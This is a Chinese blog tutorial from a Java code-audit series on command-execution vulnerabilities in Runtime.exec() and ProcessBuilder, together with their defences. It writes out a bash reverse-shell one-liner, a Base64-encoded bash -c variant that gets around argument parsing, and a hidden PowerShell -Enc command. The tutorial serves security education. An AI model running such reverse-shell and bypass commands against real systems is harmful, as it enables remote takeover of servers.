当前位置: 首页 > news >正文

【Java代码审计 | 第十篇】命令执行漏洞成因及防范

未经许可,不得转载。

文章目录

    • Java 执行系统命令的函数
    • 解析方式
    • 防范措施
      • 避免直接拼接用户输入
      • 使用白名单验证用户输入
      • 使用安全的 API 替代系统命令
      • 限制命令执行的权限
      • 使用安全的第三方库

在这里插入图片描述

命令执行漏洞是指攻击者能够通过应用程序执行任意系统命令,从而控制服务器或获取敏感信息。这种漏洞通常发生在应用程序直接调用系统命令且未对用户输入进行严格过滤的情况下。本文将分析 Java 中的命令执行漏洞,并提供防范措施。

Java 执行系统命令的函数

在 Java 中,常用的执行系统命令的函数包括:

  • Runtime.getRuntime().exec():通过 Runtime 类的 exec() 方法执行系统命令。

  • ProcessBuilder:通过 ProcessBuilder 类构建和执行系统命令。

// 使用 Runtime.exec() 执行命令
Runtime.getRuntime().exec("ping " + userInput);

// 使用 ProcessBuilder 执行命令
ProcessBuilder processBuilder = new ProcessBuilder("ping", userInput);
Process process = processBuilder.start();

注意,在 Java 中,尽管可以使用 Runtime.getRuntime().exec() 执行系统命令,但与 PHP 不同的是,Java 会将传入到该函数的参数视为一个完整的字符串,而不会受到 Shell 特殊符号(如 &、;、|)的影响,从而在一定程度上降低了命令注入的风险。

然而,在涉及 Runtime.exec() 类型的远程代码执行(RCE)时,如果需要反弹 Shell,则必须进行特殊处理。例如,直接执行以下命令可能无法成功反弹 Shell:

原始命令(Linux 环境):

bash -i >& /dev/tcp/127.0.0.1/12345 0>&1

由于 Java 直接将参数传递给 exec(),而不会经过 Shell 解析,因此必须对命令进行适当转换。例如,可以使用 Base64 编码绕过限制,再通过 bash -c 进行解码和执行:

处理后的命令:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}

对于 Windows 环境,PowerShell 反弹 Shell 也需要类似的处理。例如,可以使用 -EncodedCommand 传递 Base64 编码后的命令:

处理后的 PowerShell 命令:

powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwAuAGUAeABlAA==

解析方式

Runtime.getRuntime().exec() 的命令解析方式:
当命令以字符串形式传入 Runtime.getRuntime().exec() 时,Java 会使用空格拆分字符串,并将其作为独立的参数传递给操作系统。因此,直接拼接的参数可能不会像在 Shell 环境中那样解析 ;|& 这些特殊符号。例如:

Process process = runtime.exec("ping -c 1 " + ip);

如果 ip 参数为 127.0.0.1 | id,系统不会解析 | 作为管道符,而是将整个字符串 "127.0.0.1 | id" 作为 ping 命令的参数,导致命令执行失败。

ProcessBuilder.start() 的工作方式:
ProcessBuilder 只能接受命令和参数的列表,而不能直接传入一个完整的命令字符串。这意味着,即使用户输入了 ;|& 等特殊符号,也无法通过 ProcessBuilder 直接实现命令拼接。例如:

// 从 HTTP 请求中获取用户输入的命令
String cmd = request.getParameter("cmd");

// 使用 ProcessBuilder 执行命令
ProcessBuilder processBuilder = new ProcessBuilder(cmd);

这种情况下,攻击者无法通过 cmd 参数注入额外的命令。

绕过限制的方法 :
如果攻击者可以完全控制参数,并且能够有权限启动 Shell,那么仍然可以实现命令注入。例如:

Process process = runtime.exec("sh -c whoami");

在这里,sh -c 允许执行包含特殊符号的 Shell 命令,从而绕过 exec()ProcessBuilder 的参数解析机制。

防范措施

避免直接拼接用户输入

永远不要将用户输入直接拼接到命令中。如果需要使用用户输入,应对其进行严格的验证和过滤。

正确示例:

String userInput = request.getParameter("input");

// 验证输入是否为合法的 IP 地址
if (!userInput.matches("^[0-9.]+$")) {
    throw new SecurityException("非法输入");
}

// 使用参数化方式执行命令
ProcessBuilder processBuilder = new ProcessBuilder("ping", userInput);
Process process = processBuilder.start();

使用白名单验证用户输入

对用户输入进行白名单验证,确保其符合预期的格式(如 IP 地址、文件名等)。

String userInput = request.getParameter("input");

// 白名单验证:只允许数字和点号
if (!userInput.matches("^[0-9.]+$")) {
    throw new SecurityException("非法输入");
}

// 执行命令
ProcessBuilder processBuilder = new ProcessBuilder("ping", userInput);
Process process = processBuilder.start();

使用安全的 API 替代系统命令

尽量避免调用shell来执行命令。

如果可能,尽量使用 Java 提供的安全 API 替代直接执行系统命令。例如:

  • 使用 java.nio.file.Files 替代 rmcp 等文件操作命令。
  • 使用网络库替代 pingcurl 等网络操作命令。

示例代码如下:

import java.net.InetAddress;

String ipAddress = request.getParameter("ip");

// 使用 Java 网络库实现 Ping
InetAddress inetAddress = InetAddress.getByName(ipAddress);
boolean isReachable = inetAddress.isReachable(5000);  // 超时 5 秒

if (isReachable) {
    response.getWriter().println("Ping 成功");
} else {
    response.getWriter().println("Ping 失败");
}

限制命令执行的权限

如果必须执行系统命令,应尽量降低应用程序的权限,避免以高权限(如 root)运行。

  • 在 Linux 系统中,可以使用 sudo 限制命令的执行权限。
  • 在 Docker 容器中,可以以非 root 用户运行应用程序。

使用安全的第三方库

如果需要执行复杂的系统命令,可以使用经过安全验证的第三方库,如:

  • Apache Commons Exec:提供安全的命令执行功能。
  • OWASP ESAPI:提供安全的输入验证和命令执行功能。

使用 Apache Commons Exec 示例:

import org.apache.commons.exec.CommandLine;
import org.apache.commons.exec.DefaultExecutor;

String userInput = request.getParameter("input");

// 使用 Apache Commons Exec 执行命令
CommandLine commandLine = new CommandLine("ping");
commandLine.addArgument(userInput);

DefaultExecutor executor = new DefaultExecutor();
executor.execute(commandLine);

相关文章:

  • Scala:柯里化函数的基本介绍(通俗易懂)
  • 深度学习(斋藤)学习笔记(五)-反向传播2
  • 平面机械臂运动学分析
  • 如何高效地找工作?
  • tomcat单机多实例部署
  • 2025年渗透测试面试题总结-腾某讯-技术安全实习生(题目+回答)
  • 使用XShell连接RHEL9并配置yum阿里源
  • 使用express创建服务器保存数据到mysql
  • linux安装nginx
  • 【前端基础】Day 10 CSS3-2D3D
  • Visual Studio Code for SAP (SAP PRESS) (Leon Hassan)
  • Vue中常见动画执行详解
  • 数据库高级面试题
  • 第六课:数据库集成:MongoDB与Mongoose技术应用
  • javaweb:Maven、SpringBoot快速入门、HTTP协议
  • OpenCV视频解码性能优化十连击(实测帧率提升300%)
  • Java数据结构:解构排序算法的艺术与科学(一)
  • 光通信产业链分析
  • 第五课:Express框架与RESTful API设计:技术实践与探索
  • 动物摄像头监测识别AI技术结合了摄像头监测与人工智能识别(新产品)
  • 网站开发语言查看器/营销网络是啥意思
  • 企业做电商网站有哪些内容/吸引人气的营销方案
  • 忻州宁武网站建设/网站建设优化哪家公司好
  • 东莞网站建设制作软件/制作一个小型网站
  • .net网站开发实训代码/黑龙江最新疫情通报
  • 做本地网站应该选什么内容/上海专业seo公司